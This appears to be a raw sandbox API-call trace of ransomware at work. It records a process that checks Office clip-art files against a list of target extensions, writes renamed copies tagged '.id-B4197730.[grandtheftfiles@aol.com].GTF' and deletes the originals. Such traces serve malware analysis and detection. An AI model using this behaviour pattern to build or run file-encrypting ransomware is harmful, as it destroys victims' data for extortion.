	[0178.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.766] lstrlenW (lpString=".zip") returned 4
	[0178.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.766] lstrlenW (lpString=".rar") returned 4
	[0178.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.766] lstrlenW (lpString=".bz2") returned 4
	[0178.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.766] lstrlenW (lpString=".7z") returned 3
	[0178.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.766] lstrlenW (lpString=".dbf") returned 4
	[0178.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.766] lstrlenW (lpString=".1cd") returned 4
	[0178.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.766] lstrlenW (lpString=".jpg") returned 4
	[0178.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.767] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.767] lstrlenW (lpString="J0153307.WMF") returned 12
	[0178.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.767] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=15448) returned 1
	[0178.767] CloseHandle (hObject=0x548) returned 1
	[0178.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 0x220
	[0178.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.768] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.768] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.769] GetLastError () returned 0x0
	[0178.769] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3c58, lpOverlapped=0x0) returned 1
	[0178.771] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3c60, lpOverlapped=0x0) returned 1
	[0178.781] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.781] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.781] SetEndOfFile (hFile=0x540) returned 1
	[0178.781] CloseHandle (hObject=0x540) returned 1
	[0178.781] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.781] SetEndOfFile (hFile=0x548) returned 1
	[0178.784] CloseHandle (hObject=0x548) returned 1
	[0178.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 1
	[0178.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.785] lstrlenW (lpString=".doc") returned 4
	[0178.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.785] lstrlenW (lpString=".docx") returned 5
	[0178.785] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0178.786] lstrlenW (lpString=".pdf") returned 4
	[0178.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString=".xls") returned 4
	[0178.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.786] lstrlenW (lpString=".xlsx") returned 5
	[0178.786] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0178.786] lstrlenW (lpString=".ppt") returned 4
	[0178.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.786] lstrlenW (lpString=".zip") returned 4
	[0178.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.786] lstrlenW (lpString=".rar") returned 4
	[0178.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString=".bz2") returned 4
	[0178.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString=".7z") returned 3
	[0178.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.786] lstrlenW (lpString=".dbf") returned 4
	[0178.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.786] lstrlenW (lpString=".1cd") returned 4
	[0178.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.786] lstrlenW (lpString=".jpg") returned 4
	[0178.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.786] lstrlenW (lpString=".doc") returned 4
	[0178.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString=".docx") returned 5
	[0178.786] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0178.786] lstrlenW (lpString=".pdf") returned 4
	[0178.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.786] lstrlenW (lpString=".xls") returned 4
	[0178.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.787] lstrlenW (lpString=".xlsx") returned 5
	[0178.787] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0178.787] lstrlenW (lpString=".ppt") returned 4
	[0178.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.787] lstrlenW (lpString=".zip") returned 4
	[0178.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.787] lstrlenW (lpString=".rar") returned 4
	[0178.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.787] lstrlenW (lpString=".bz2") returned 4
	[0178.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.787] lstrlenW (lpString=".7z") returned 3
	[0178.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.787] lstrlenW (lpString=".dbf") returned 4
	[0178.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.787] lstrlenW (lpString=".1cd") returned 4
	[0178.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0178.787] lstrlenW (lpString=".jpg") returned 4
	[0178.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.787] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.787] lstrlenW (lpString="J0153313.WMF") returned 12
	[0178.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.788] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=16952) returned 1
	[0178.788] CloseHandle (hObject=0x548) returned 1
	[0178.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 0x220
	[0178.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.789] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.789] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.790] GetLastError () returned 0x0
	[0178.790] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x4238, lpOverlapped=0x0) returned 1
	[0178.983] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4240, lpOverlapped=0x0) returned 1
	[0178.984] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.985] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.985] SetEndOfFile (hFile=0x540) returned 1
	[0178.985] CloseHandle (hObject=0x540) returned 1
	[0178.985] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.985] SetEndOfFile (hFile=0x548) returned 1
	[0178.988] CloseHandle (hObject=0x548) returned 1
	[0178.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 1
	[0179.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.186] lstrlenW (lpString=".doc") returned 4
	[0179.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.186] lstrlenW (lpString=".docx") returned 5
	[0179.186] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0179.186] lstrlenW (lpString=".pdf") returned 4
	[0179.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.186] lstrlenW (lpString=".xls") returned 4
	[0179.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.186] lstrlenW (lpString=".xlsx") returned 5
	[0179.186] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0179.186] lstrlenW (lpString=".ppt") returned 4
	[0179.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.186] lstrlenW (lpString=".zip") returned 4
	[0179.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.186] lstrlenW (lpString=".rar") returned 4
	[0179.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.186] lstrlenW (lpString=".bz2") returned 4
	[0179.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.186] lstrlenW (lpString=".7z") returned 3
	[0179.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.186] lstrlenW (lpString=".dbf") returned 4
	[0179.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.187] lstrlenW (lpString=".1cd") returned 4
	[0179.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.187] lstrlenW (lpString=".jpg") returned 4
	[0179.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.187] lstrlenW (lpString=".doc") returned 4
	[0179.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString=".docx") returned 5
	[0179.187] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0179.187] lstrlenW (lpString=".pdf") returned 4
	[0179.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString=".xls") returned 4
	[0179.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.187] lstrlenW (lpString=".xlsx") returned 5
	[0179.187] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0179.187] lstrlenW (lpString=".ppt") returned 4
	[0179.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.187] lstrlenW (lpString=".zip") returned 4
	[0179.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.187] lstrlenW (lpString=".rar") returned 4
	[0179.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString=".bz2") returned 4
	[0179.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString=".7z") returned 3
	[0179.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.187] lstrlenW (lpString=".dbf") returned 4
	[0179.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.187] lstrlenW (lpString=".1cd") returned 4
	[0179.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0179.188] lstrlenW (lpString=".jpg") returned 4
	[0179.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.188] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.188] lstrlenW (lpString="J0157191.WMF") returned 12
	[0179.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0179.189] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=17912) returned 1
	[0179.189] CloseHandle (hObject=0x374) returned 1
	[0179.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 0x220
	[0179.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0179.190] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.190] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0179.191] GetLastError () returned 0x0
	[0179.191] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x45f8, lpOverlapped=0x0) returned 1
	[0179.288] WriteFile (in: hFile=0x56c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4600, lpOverlapped=0x0) returned 1
	[0179.289] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.289] WriteFile (in: hFile=0x56c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.289] SetEndOfFile (hFile=0x56c) returned 1
	[0179.289] CloseHandle (hObject=0x56c) returned 1
	[0179.289] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.289] SetEndOfFile (hFile=0x374) returned 1
	[0179.301] CloseHandle (hObject=0x374) returned 1
	[0179.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 1
	[0179.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.302] lstrlenW (lpString=".doc") returned 4
	[0179.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.302] lstrlenW (lpString=".docx") returned 5
	[0179.303] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0179.303] lstrlenW (lpString=".pdf") returned 4
	[0179.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.303] lstrlenW (lpString=".xls") returned 4
	[0179.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.303] lstrlenW (lpString=".xlsx") returned 5
	[0179.303] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0179.303] lstrlenW (lpString=".ppt") returned 4
	[0179.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.303] lstrlenW (lpString=".zip") returned 4
	[0179.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.303] lstrlenW (lpString=".rar") returned 4
	[0179.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.303] lstrlenW (lpString=".bz2") returned 4
	[0179.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.303] lstrlenW (lpString=".7z") returned 3
	[0179.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.303] lstrlenW (lpString=".dbf") returned 4
	[0179.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.303] lstrlenW (lpString=".1cd") returned 4
	[0179.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.303] lstrlenW (lpString=".jpg") returned 4
	[0179.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68
	[0179.304] lstrlenW (lpString=".doc") returned 4
	[0179.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.304] lstrlenW (lpString=".docx") returned 5
	[0179.304] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0179.304] lstrlenW (lpString=".pdf") returned 4
	[0179.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.304] lstrlenW (lpString=".xls") returned 4
	[0179.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.304] lstrlenW (lpString=".xlsx") returned 5
	[0179.304] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0179.304] lstrlenW (lpString=".ppt") returned 4
	[0179.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
